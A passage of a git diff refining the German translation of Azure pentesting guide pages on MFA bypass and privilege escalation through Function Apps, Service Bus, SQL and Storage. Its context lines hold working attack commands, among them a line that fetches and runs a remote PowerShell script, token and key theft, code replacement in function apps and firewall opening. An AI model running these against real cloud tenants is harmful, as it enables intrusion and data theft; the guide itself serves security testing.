um zu blockieren oder zu erzwingen**, beispielsweise MFA, wenn ein Benutzer versucht, auf eine **spezifische App** zuzugreifen:
-Um zu versuchen, diesen Schutz zu umgehen, sollten Sie sehen, ob Sie **nur in eine beliebige Anwendung** gelangen können.\ +Um zu versuchen, diesen Schutz zu umgehen, sollten Sie sehen, ob Sie **nur in eine Anwendung** gelangen können.\ Das Tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) hat **Dutzende von Anwendungs-IDs fest codiert** und wird versuchen, sich bei ihnen anzumelden und Ihnen Bescheid geben und Ihnen sogar das Token geben, wenn es erfolgreich ist. -Um **spezifische Anwendungs-IDs in spezifischen Ressourcen zu testen**, könnten Sie auch ein Tool wie folgendes verwenden: +Um **spezifische Anwendungs-IDs in spezifischen Ressourcen zu testen**, könnten Sie auch ein Tool wie verwenden: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` -Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) führt einige Überprüfungen durch, um zu versuchen, diese Schutzmaßnahmen zu umgehen. +Darüber hinaus ist es auch möglich, die Anmeldemethode zu schützen (z. B. wenn Sie versuchen, sich über den Browser oder eine Desktopanwendung anzumelden). Das Tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) führt einige Überprüfungen durch, um zu versuchen, diese Schutzmaßnahmen zu umgehen. -The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) könnte auch für ähnliche Zwecke verwendet werden, obwohl es unmaintained aussieht. +Das Tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) könnte ebenfalls für ähnliche Zwecke verwendet werden, obwohl es unmaintained aussieht. -The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kann auch verwendet werden, um diese Schutzmaßnahmen zu testen und zu sehen, ob es möglich ist, MFAs oder Sperren zu umgehen, aber dieses Tool funktioniert aus einer **whitebox** Perspektive. Zuerst müssen Sie die Liste der im Mandanten erlaubten Apps herunterladen und dann wird es versuchen, sich bei ihnen anzumelden. +Das Tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kann ebenfalls verwendet werden, um diese Schutzmaßnahmen zu testen und zu sehen, ob es möglich ist, MFAs oder Sperren zu umgehen, aber dieses Tool funktioniert aus einer **whitebox** Perspektive. Zuerst müssen Sie die Liste der im Mandanten erlaubten Apps herunterladen und dann wird es versuchen, sich in diese einzuloggen. -## Other Az MFA Bypasses +## Andere Az MFA Umgehungen -### Ring tone +### Klingelton -One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**. +Eine Azure MFA-Option besteht darin, **einen Anruf an die konfigurierte Telefonnummer zu erhalten**, bei dem der Benutzer gebeten wird, **das Zeichen `#` zu senden**. > [!CAUTION] > Da Zeichen nur **Töne** sind, könnte ein Angreifer die **Voicemail**-Nachricht der Telefonnummer **kompromittieren**, die Nachricht als **Ton von `#`** konfigurieren und dann, wenn die MFA angefordert wird, sicherstellen, dass das **Telefon des Opfers besetzt ist** (indem er es anruft), sodass der Azure-Anruf an die Voicemail umgeleitet wird. -### Compliant Devices +### Konforme Geräte -Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**. +Richtlinien verlangen oft ein konformes Gerät oder MFA, sodass ein **Angreifer ein konformes Gerät registrieren**, ein **PRT**-Token erhalten und **auf diese Weise die MFA umgehen** könnte. -Start by registering a **compliant device in Intune**, then **get the PRT** with: +Beginnen Sie mit der Registrierung eines **konformen Geräts in Intune**, dann **holen Sie sich das PRT** mit: ```powershell $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials @@ -116,7 +116,7 @@ roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep ist ein PowerShell-Skript, das versucht, **sich mit einem bereitgestellten Satz von Anmeldeinformationen bei verschiedenen Microsoft-Diensten anzumelden und zu überprüfen, ob MFA aktiviert ist**. Je nachdem, wie die bedingten Zugriffsrichtlinien und andere Einstellungen zur Multi-Faktor-Authentifizierung konfiguriert sind, können einige Protokolle als Einzel-Faktor verbleiben. Es gibt auch eine zusätzliche Überprüfung der ADFS-Konfigurationen und kann versuchen, sich beim lokalen ADFS-Server anzumelden, wenn dieser erkannt wird. +MFASweep ist ein PowerShell-Skript, das versucht, **sich bei verschiedenen Microsoft-Diensten mit einem bereitgestellten Satz von Anmeldeinformationen anzumelden und zu überprüfen, ob MFA aktiviert ist**. Je nachdem, wie die bedingten Zugriffsrichtlinien und andere Einstellungen zur Multi-Faktor-Authentifizierung konfiguriert sind, können einige Protokolle als Einzel-Faktor verbleiben. Es gibt auch eine zusätzliche Überprüfung der ADFS-Konfigurationen und kann versuchen, sich beim lokalen ADFS-Server anzumelden, wenn dieser erkannt wird. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password @@ -148,7 +148,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` -Weil das **Azure** **Portal** **nicht eingeschränkt** ist, ist es möglich, ein **Token vom Portal-Endpunkt zu sammeln, um auf jeden Dienst zuzugreifen, der durch die vorherige Ausführung erkannt wurde**. In diesem Fall wurde Sharepoint identifiziert, und ein Token für den Zugriff darauf wird angefordert: +Da das **Azure** **Portal** **nicht eingeschränkt** ist, ist es möglich, ein **Token vom Portal-Endpunkt zu sammeln, um auf jeden Dienst zuzugreifen, der durch die vorherige Ausführung erkannt wurde**. In diesem Fall wurde Sharepoint identifiziert, und ein Token zum Zugriff darauf wird angefordert: ```powershell $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index 05b114fb0..fe3f35253 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -1,4 +1,4 @@ -# Az - Dynamic Groups Privesc +# Az - Dynamische Gruppen Privesc {{#include ../../../../banners/hacktricks-training.md}} @@ -8,7 +8,7 @@ Dynamischen Gruppen können **Azure RBAC-Rollen zugewiesen** werden, aber es ist **nicht möglich**, **AzureAD-Rollen** zu dynamischen Gruppen hinzuzufügen. -Dieses Feature erfordert eine Azure AD Premium P1-Lizenz. +Diese Funktion erfordert eine Azure AD Premium P1-Lizenz. ## Privesc diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 717187ca6..28b96c5c4 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -29,7 +29,7 @@ az functionapp config appsettings list \ Diese Konfigurationen enthalten den **Storage Account Key**, den die Funktion verwenden kann, um auf den Code zuzugreifen. > [!CAUTION] -> Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und **das Skript** zu ändern, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren. +> Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und das **Skript** zu ändern, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren. Das folgende Beispiel verwendet macOS, um eine Verbindung zum File Share herzustellen, aber es wird empfohlen, auch die folgende Seite für weitere Informationen zu File Shares zu überprüfen: @@ -47,9 +47,9 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -Es ist auch üblich, die **Zip-Releases** im Ordner `function-releases` des Storage Account Containers zu finden, den die Funktionsanwendung in einem Container **normalerweise mit dem Namen `function-releases`** verwendet. +Es ist auch üblich, die **zip-Releases** im Ordner `function-releases` des Storage Account Containers zu finden, den die Function App in einem Container **normalerweise mit dem Namen `function-releases`** verwendet. -In der Regel wird diese Bereitstellungsmethode die Konfiguration `WEBSITE_RUN_FROM_PACKAGE` in folgendem setzen: +In der Regel wird diese Bereitstellungsmethode die Konfiguration `WEBSITE_RUN_FROM_PACKAGE` in: ```bash az functionapp config appsettings list \ --name \ @@ -60,9 +60,9 @@ Diese Konfiguration enthält normalerweise eine **SAS-URL zum Herunterladen** de > [!CAUTION] > Mit ausreichenden Berechtigungen zum Verbinden mit dem Blob-Container, der **den Code im Zip enthält**, ist es möglich, beliebigen Code in der Funktion auszuführen und die Berechtigungen zu eskalieren. -- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` +- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` -Genau wie im vorherigen Fall ist es möglich, den Ordner **`github-actions-deploy`** im Speicherkonto zu finden, der ein Zip des Codes und eine SAS-URL zum Zip in der Einstellung `WEBSITE_RUN_FROM_PACKAGE` enthält, wenn das Deployment über Github Actions erfolgt. +Genau wie im vorherigen Fall ist es möglich, den Ordner **`github-actions-deploy`** im Speicherkonto zu finden, der ein Zip des Codes und eine SAS-URL zum Zip in der Einstellung `WEBSITE_RUN_FROM_PACKAGE` enthält. - **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` und `WEBSITE_CONTENTSHARE`) @@ -101,7 +101,7 @@ unsquashfs -d /tmp/fs /tmp/scm-latest-.zip Es ist auch möglich, die **Master- und Funktionsschlüssel** im Speicherkonto im Container **`azure-webjobs-secrets`** im Ordner **``** in den JSON-Dateien zu finden, die Sie dort finden können. > [!CAUTION] -> Mit ausreichenden Berechtigungen, um eine Verbindung zum Blob-Container herzustellen, der **den Code in einer Zip-Erweiterungsdatei enthält** (die tatsächlich ein **`squashfs`** ist), ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren. +> Mit ausreichenden Berechtigungen, um eine Verbindung zum Blob-Container herzustellen, der **den Code in einer Zip-Erweiterungsdatei** (die tatsächlich ein **`squashfs`** ist) enthält, ist es möglich, beliebigen Code in der Funktion auszuführen und Privilegien zu eskalieren. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -122,7 +122,7 @@ Diese Berechtigung ermöglicht das Auflisten der Funktions-, Master- und Systems ```bash az functionapp keys list --resource-group --name ``` -Mit dem Master-Schlüssel ist es auch möglich, den Quellcode über eine URL wie folgt zu erhalten: +Mit dem Master-Schlüssel ist es auch möglich, den Quellcode über eine URL wie: ```bash # Get "script_href" from az rest --method GET \ @@ -145,7 +145,7 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro ``` ### Microsoft.Web/sites/functions/listKeys/action -Diese Berechtigung ermöglicht es, den Hostschlüssel der angegebenen Funktion mit: +Diese Berechtigung ermöglicht es, den Hostschlüssel der angegebenen Funktion zu erhalten mit: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` @@ -183,7 +183,7 @@ az rest --method POST \ ``` ### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write -Diese Berechtigungen ermöglichen es, die Konfigurationswerte einer Funktion aufzulisten, wie wir zuvor gesehen haben, plus **diese Werte zu ändern**. Dies ist nützlich, da diese Einstellungen anzeigen, wo sich der Code befindet, der innerhalb der Funktion ausgeführt werden soll. +Diese Berechtigungen ermöglichen es, die Konfigurationswerte einer Funktion aufzulisten, wie wir zuvor gesehen haben, plus **diese Werte zu ändern**. Dies ist nützlich, da diese Einstellungen anzeigen, wo sich der auszuführende Code innerhalb der Funktion befindet. Es ist daher möglich, den Wert der Einstellung **`WEBSITE_RUN_FROM_PACKAGE`** auf eine URL-Zip-Datei zu setzen, die den neuen Code enthält, der innerhalb einer Webanwendung ausgeführt werden soll: @@ -193,7 +193,7 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -- Erstellen Sie den Code, den die Funktion ausführen soll, und hosten Sie ihn öffentlich +- Erstellen Sie den Code, den die Funktion ausführen soll, und hosten Sie ihn öffentlich. ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -275,7 +275,7 @@ zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ https://.scm.azurewebsites.net/api/zipdeploy ``` -_Hinweis: Der **SCM-Benutzername** ist normalerweise das Zeichen "$" gefolgt vom Namen der App, also: `$`._ +_Beachten Sie, dass der **SCM-Benutzername** normalerweise das Zeichen "$" gefolgt vom Namen der App ist, also: `$`._ Sie können auch die Webseite von `https://.scm.azurewebsites.net/BasicAuth` aufrufen. @@ -338,13 +338,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -Es ist auch möglich zu sehen, ob eine Funktion unter der folgenden URL aktiviert oder deaktiviert ist (unter Verwendung der Berechtigung in Klammern): +Es ist auch möglich zu sehen, ob eine Funktion in der folgenden URL aktiviert oder deaktiviert ist (unter Verwendung der Berechtigung in Klammern): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) -Mit diesen Berechtigungen ist es möglich, **den Container, der von einer Funktionsanwendung betrieben wird, zu ändern**, die so konfiguriert ist, dass sie einen Container ausführt. Dies würde es einem Angreifer ermöglichen, eine bösartige Azure-Funktionscontaineranwendung auf Docker Hub (zum Beispiel) hochzuladen und die Funktion dazu zu bringen, sie auszuführen. +Mit diesen Berechtigungen ist es möglich, **den Container, der von einer Function App betrieben wird**, die so konfiguriert ist, dass sie einen Container ausführt, zu **modifizieren**. Dies würde es einem Angreifer ermöglichen, eine bösartige Azure Function Container App zu Docker Hub (zum Beispiel) hochzuladen und die Funktion dazu zu bringen, sie auszuführen. ```bash az functionapp config container set --name \ --resource-group \ @@ -371,10 +371,10 @@ Mit der Berechtigung `Microsoft.Web/sites/config/write` ist es auch möglich, ei ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` -### Change Github repo +### Ändern des Github-Repos Ich habe versucht, das Github-Repo, von dem die Bereitstellung erfolgt, zu ändern, indem ich die folgenden Befehle ausgeführt habe, aber selbst wenn es geändert wurde, **wurde der neue Code nicht geladen** (wahrscheinlich, weil es erwartet, dass die Github Action den Code aktualisiert).\ -Darüber hinaus wurde die **verwaltete Identität föderierte Anmeldeinformationen nicht aktualisiert**, um das neue Repository zuzulassen, sodass es so aussieht, als wäre dies nicht sehr nützlich. +Darüber hinaus wurde die **verwaltete Identität federierte Anmeldeinformationen nicht aktualisiert**, um das neue Repository zuzulassen, sodass es so aussieht, als wäre dies nicht sehr nützlich. ```bash # Remove current az functionapp deployment source delete \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md index 1fdaa1761..75686bfe2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md @@ -20,7 +20,7 @@ az storage message peek --queue-name --account-name --account-name ``` diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 05ae544ca..be6540f28 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ### Nachrichten senden. Aktion: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` ODER `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -Sie können die `PrimaryConnectionString` abrufen, die als Anmeldeinformation für den Service Bus-Namespace fungiert. Mit dieser Verbindungszeichenfolge können Sie sich vollständig als der Service Bus-Namespace authentifizieren, was es Ihnen ermöglicht, Nachrichten an jede Warteschlange oder jedes Thema zu senden und potenziell mit dem System auf Weisen zu interagieren, die den Betrieb stören, gültige Benutzer impersonieren oder bösartige Daten in den Nachrichtenworkflow injizieren könnten. +Sie können die `PrimaryConnectionString` abrufen, die als Anmeldeinformation für den Service Bus-Namespace fungiert. Mit dieser Verbindungszeichenfolge können Sie sich vollständig als der Service Bus-Namespace authentifizieren, was es Ihnen ermöglicht, Nachrichten an jede Warteschlange oder jedes Thema zu senden und potenziell mit dem System auf eine Weise zu interagieren, die den Betrieb stören, gültige Benutzer impersonieren oder bösartige Daten in den Messaging-Workflow injizieren könnte. ```python #You need to install the following libraries #pip install azure-servicebus @@ -83,7 +83,7 @@ print("----------------------------") ``` ### Nachrichten empfangen. Aktion: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` ODER `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -Sie können den PrimaryConnectionString abrufen, der als Anmeldeinformation für den Service Bus-Namespace dient. Mit diesem Verbindungsstring können Sie Nachrichten aus jeder Warteschlange oder Abonnements innerhalb des Namensraums empfangen, was den Zugriff auf potenziell sensible oder kritische Daten ermöglicht, Datenexfiltration ermöglicht oder die Nachrichtenverarbeitung und Anwendungsabläufe stört. +Sie können den PrimaryConnectionString abrufen, der als Anmeldeinformation für den Service Bus-Namespace dient. Mit diesem Verbindungsstring können Sie Nachrichten aus jeder Warteschlange oder jedem Abonnement innerhalb des Namensraums empfangen, was den Zugriff auf potenziell sensible oder kritische Daten ermöglicht, Datenexfiltration ermöglicht oder die Nachrichtenverarbeitung und Anwendungsabläufe stört. ```python #You need to install the following libraries #pip install azure-servicebus @@ -129,7 +129,7 @@ print("----------------------------") ``` ### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -Wenn Sie über diese Berechtigungen verfügen, können Sie die Berechtigungen erhöhen, indem Sie gemeinsame Zugriffsschlüssel lesen oder erstellen. Diese Schlüssel ermöglichen die vollständige Kontrolle über den Service Bus-Namespace, einschließlich der Verwaltung von Warteschlangen, Themen und dem Senden/Empfangen von Nachrichten, wodurch möglicherweise rollenbasierte Zugriffskontrollen (RBAC) umgangen werden. +Wenn Sie über diese Berechtigungen verfügen, können Sie Privilegien erhöhen, indem Sie gemeinsame Zugriffsschlüssel lesen oder erstellen. Diese Schlüssel ermöglichen die vollständige Kontrolle über den Service Bus-Namespace, einschließlich der Verwaltung von Warteschlangen, Themen und dem Senden/Empfangen von Nachrichten, wodurch möglicherweise rollenbasierte Zugriffskontrollen (RBAC) umgangen werden. ```bash az servicebus namespace authorization-rule update \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 0243875af..7757ac8e6 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -28,7 +28,7 @@ az sql server create \ --admin-user \ --admin-password ``` -Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um ihn zu aktivieren: +Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um dies zu aktivieren: ```bash az sql server update \ --name \ @@ -37,7 +37,7 @@ az sql server update \ ``` ### "Microsoft.Sql/servers/firewallRules/write" -Ein Angreifer kann Firewall-Regeln auf Azure SQL-Servern manipulieren, um unbefugten Zugriff zu ermöglichen. Dies kann ausgenutzt werden, um den Server für bestimmte IP-Adressen oder gesamte IP-Bereiche, einschließlich öffentlicher IPs, zu öffnen, wodurch der Zugriff für böswillige Akteure ermöglicht wird. Diese Post-Exploitation-Aktivität kann verwendet werden, um bestehende Netzwerksicherheitskontrollen zu umgehen, Persistenz zu etablieren oder laterale Bewegungen innerhalb der Umgebung zu erleichtern, indem sensible Ressourcen exponiert werden. +Ein Angreifer kann Firewall-Regeln auf Azure SQL-Servern manipulieren, um unbefugten Zugriff zu ermöglichen. Dies kann ausgenutzt werden, um den Server für bestimmte IP-Adressen oder ganze IP-Bereiche, einschließlich öffentlicher IPs, zu öffnen, wodurch der Zugriff für böswillige Akteure ermöglicht wird. Diese Post-Exploitation-Aktivität kann verwendet werden, um bestehende Netzwerksicherheitskontrollen zu umgehen, Persistenz zu etablieren oder laterale Bewegungen innerhalb der Umgebung zu erleichtern, indem sensible Ressourcen exponiert werden. ```bash # Create Firewall Rule az sql server firewall-rule create \ @@ -60,7 +60,7 @@ HINWEIS: Es ist erforderlich, den öffentlichen Zugriff zu aktivieren. ### ""Microsoft.Sql/servers/ipv6FirewallRules/write" -Mit dieser Berechtigung können Sie IPv6-Firewallregeln auf einem Azure SQL-Server erstellen, ändern oder löschen. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, bestehende Netzwerksicherheitskonfigurationen zu umgehen und unbefugten Zugriff auf den Server zu erlangen. Durch das Hinzufügen einer Regel, die den Datenverkehr von jeder IPv6-Adresse erlaubt, könnte der Angreifer den Server für externen Zugriff öffnen. +Mit dieser Berechtigung können Sie IPv6-Firewallregeln auf einem Azure SQL-Server erstellen, ändern oder löschen. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, bestehende Netzwerksicherheitskonfigurationen zu umgehen und unbefugten Zugriff auf den Server zu erhalten. Durch das Hinzufügen einer Regel, die den Datenverkehr von jeder IPv6-Adresse erlaubt, könnte der Angreifer den Server für externen Zugriff öffnen. ```bash az sql server firewall-rule create \ --server \ @@ -84,7 +84,7 @@ az sql server ad-admin create \ ``` ### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" -Mit diesen Berechtigungen können Sie "Microsoft Entra Authentication Only" auf einem Azure SQL Server konfigurieren und durchsetzen, was in bestimmten Szenarien die Privilegieneskalation erleichtern könnte. Ein Angreifer oder ein autorisierter Benutzer mit diesen Berechtigungen kann die Azure AD-Only-Authentifizierung aktivieren oder deaktivieren. +Mit diesen Berechtigungen können Sie "Microsoft Entra Authentication Only" auf einem Azure SQL Server konfigurieren und durchsetzen, was in bestimmten Szenarien die Privilegieneskalation erleichtern könnte. Ein Angreifer oder ein autorisierter Benutzer mit diesen Berechtigungen kann die Azure AD-Authentifizierung nur aktivieren oder deaktivieren. ```bash #Enable az sql server azure-ad-only-auth enable \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index 76a2e8b63..61c7e03b3 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -26,7 +26,7 @@ az storage account keys renew --account-name --key key2 ``` ### Microsoft.Storage/storageAccounts/write -Ein Principal mit dieser Berechtigung kann ein vorhandenes Speicherkonto erstellen oder aktualisieren und dabei jede Einstellung wie Netzwerkregeln oder Richtlinien ändern. +Ein Principal mit dieser Berechtigung kann ein bestehendes Speicherkonto erstellen oder aktualisieren und dabei Einstellungen wie Netzwerkregeln oder Richtlinien ändern. ```bash # e.g. set default action to allow so network restrictions are avoided az storage account update --name --default-action Allow @@ -38,10 +38,10 @@ az storage account update --name --add networkRuleSet.ipRules value=< ### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete -Die erste Berechtigung erlaubt es, **Unveränderlichkeitspolitiken** in Containern zu **ändern** und die zweite, sie zu **löschen**. +Die erste Berechtigung erlaubt es, **Immutabilitätsrichtlinien** in Containern zu **ändern** und die zweite, sie zu löschen. > [!NOTE] -> Beachten Sie, dass Sie, wenn sich eine Unveränderlichkeitspolitik im Sperrzustand befindet, keines von beiden tun können. +> Beachten Sie, dass Sie, wenn sich eine Immutabilitätsrichtlinie im Sperrzustand befindet, keines von beiden tun können. ```bash az storage container immutability-policy delete \ --account-name \ @@ -58,19 +58,19 @@ az storage container immutability-policy update \ ### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action -Dies sollte einem Benutzer mit dieser Berechtigung ermöglichen, das Eigentum an Dateien im gemeinsamen Dateisystem zu übernehmen. +Dies sollte es einem Benutzer mit dieser Berechtigung ermöglichen, das Eigentum an Dateien im gemeinsamen Dateisystem zu übernehmen. ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action -Dies sollte einem Benutzer mit dieser Berechtigung ermöglichen, die Berechtigungen von Dateien im gemeinsamen Dateisystem zu ändern. +Dies sollte es einem Benutzer mit dieser Berechtigung ermöglichen, die Berechtigungen von Dateien im gemeinsamen Dateisystem zu ändern. ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action -Dies sollte einem Benutzer mit dieser Berechtigung ermöglichen, Aktionen innerhalb eines Dateisystems als Superuser auszuführen. +Dies sollte es einem Benutzer mit dieser Berechtigung ermöglichen, Aktionen innerhalb eines Dateisystems als Superuser auszuführen. ### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) -Mit dieser Berechtigung kann ein Angreifer einen neuen lokalen Benutzer für ein Azure Storage-Konto (konfiguriert mit hierarchischem Namensraum) erstellen und aktualisieren (wenn er die Berechtigung `Microsoft.Storage/storageAccounts/localusers/read` hat), einschließlich der Angabe der Berechtigungen und des Heimatverzeichnisses des Benutzers. Diese Berechtigung ist bedeutend, da sie dem Angreifer ermöglicht, sich selbst ein Speicher-Konto mit spezifischen Berechtigungen wie Lesen (r), Schreiben (w), Löschen (d) und Auflisten (l) und mehr zu gewähren. Zusätzlich können die Authentifizierungsmethoden, die dies verwendet, von Azure generierte Passwörter und SSH-Schlüsselpaare sein. Es gibt keine Überprüfung, ob ein Benutzer bereits existiert, sodass Sie andere Benutzer, die bereits vorhanden sind, überschreiben können. Der Angreifer könnte seine Privilegien eskalieren und SSH-Zugriff auf das Speicher-Konto erhalten, was potenziell sensible Daten offenlegen oder gefährden könnte. +Mit dieser Berechtigung kann ein Angreifer einen neuen lokalen Benutzer für ein Azure Storage-Konto (konfiguriert mit hierarchischem Namensraum) erstellen und aktualisieren (wenn er die Berechtigung `Microsoft.Storage/storageAccounts/localusers/read` hat), einschließlich der Angabe der Berechtigungen und des Heimatverzeichnisses des Benutzers. Diese Berechtigung ist bedeutend, da sie dem Angreifer ermöglicht, sich selbst ein Speicher-Konto mit spezifischen Berechtigungen wie Lesen (r), Schreiben (w), Löschen (d) und Auflisten (l) und mehr zu gewähren. Zusätzlich können die Authentifizierungsmethoden, die hierfür verwendet werden, Azure-generierte Passwörter und SSH-Schlüsselpaare sein. Es gibt keine Überprüfung, ob ein Benutzer bereits existiert, sodass Sie andere Benutzer, die bereits vorhanden sind, überschreiben können. Der Angreifer könnte seine Privilegien eskalieren und SSH-Zugriff auf das Speicher-Konto erhalten, was potenziell sensible Daten offenlegen oder gefährden könnte. ```bash az storage account local-user create \ --account-name \ @@ -82,14 +82,14 @@ az storage account local-user create \ ``` ### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action -Mit dieser Berechtigung kann ein Angreifer das Passwort für einen lokalen Benutzer in einem Azure Storage-Konto regenerieren. Dies gewährt dem Angreifer die Möglichkeit, neue Authentifizierungsanmeldeinformationen (wie ein SSH- oder SFTP-Passwort) für den Benutzer zu erhalten. Durch die Nutzung dieser Anmeldeinformationen könnte der Angreifer unbefugten Zugriff auf das Storage-Konto erlangen, Dateiübertragungen durchführen oder Daten innerhalb der Speicherkonten manipulieren. Dies könnte zu Datenlecks, Korruption oder böswilliger Modifikation des Inhalts des Storage-Kontos führen. +Mit dieser Berechtigung kann ein Angreifer das Passwort für einen lokalen Benutzer in einem Azure Storage-Konto regenerieren. Dies gewährt dem Angreifer die Möglichkeit, neue Authentifizierungsanmeldeinformationen (wie ein SSH- oder SFTP-Passwort) für den Benutzer zu erhalten. Durch die Nutzung dieser Anmeldeinformationen könnte der Angreifer unbefugten Zugriff auf das Storage-Konto erlangen, Dateiübertragungen durchführen oder Daten innerhalb der Speicherkonten manipulieren. Dies könnte zu Datenlecks, -beschädigungen oder böswilligen Änderungen des Inhalts des Storage-Kontos führen. ```bash az storage account local-user regenerate-password \ --account-name \ --resource-group \ --name ``` -Um über SFTP auf Azure Blob Storage mit einem lokalen Benutzer zuzugreifen, können Sie (Sie können auch einen SSH-Schlüssel zur Verbindung verwenden): +Um auf Azure Blob Storage über SFTP mit einem lokalen Benutzer zuzugreifen, können Sie (Sie können auch einen SSH-Schlüssel zur Verbindung verwenden): ```bash sftp @.blob.core.windows.net #regenerated-password @@ -112,7 +112,7 @@ az storage blob undelete \ ``` ### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && 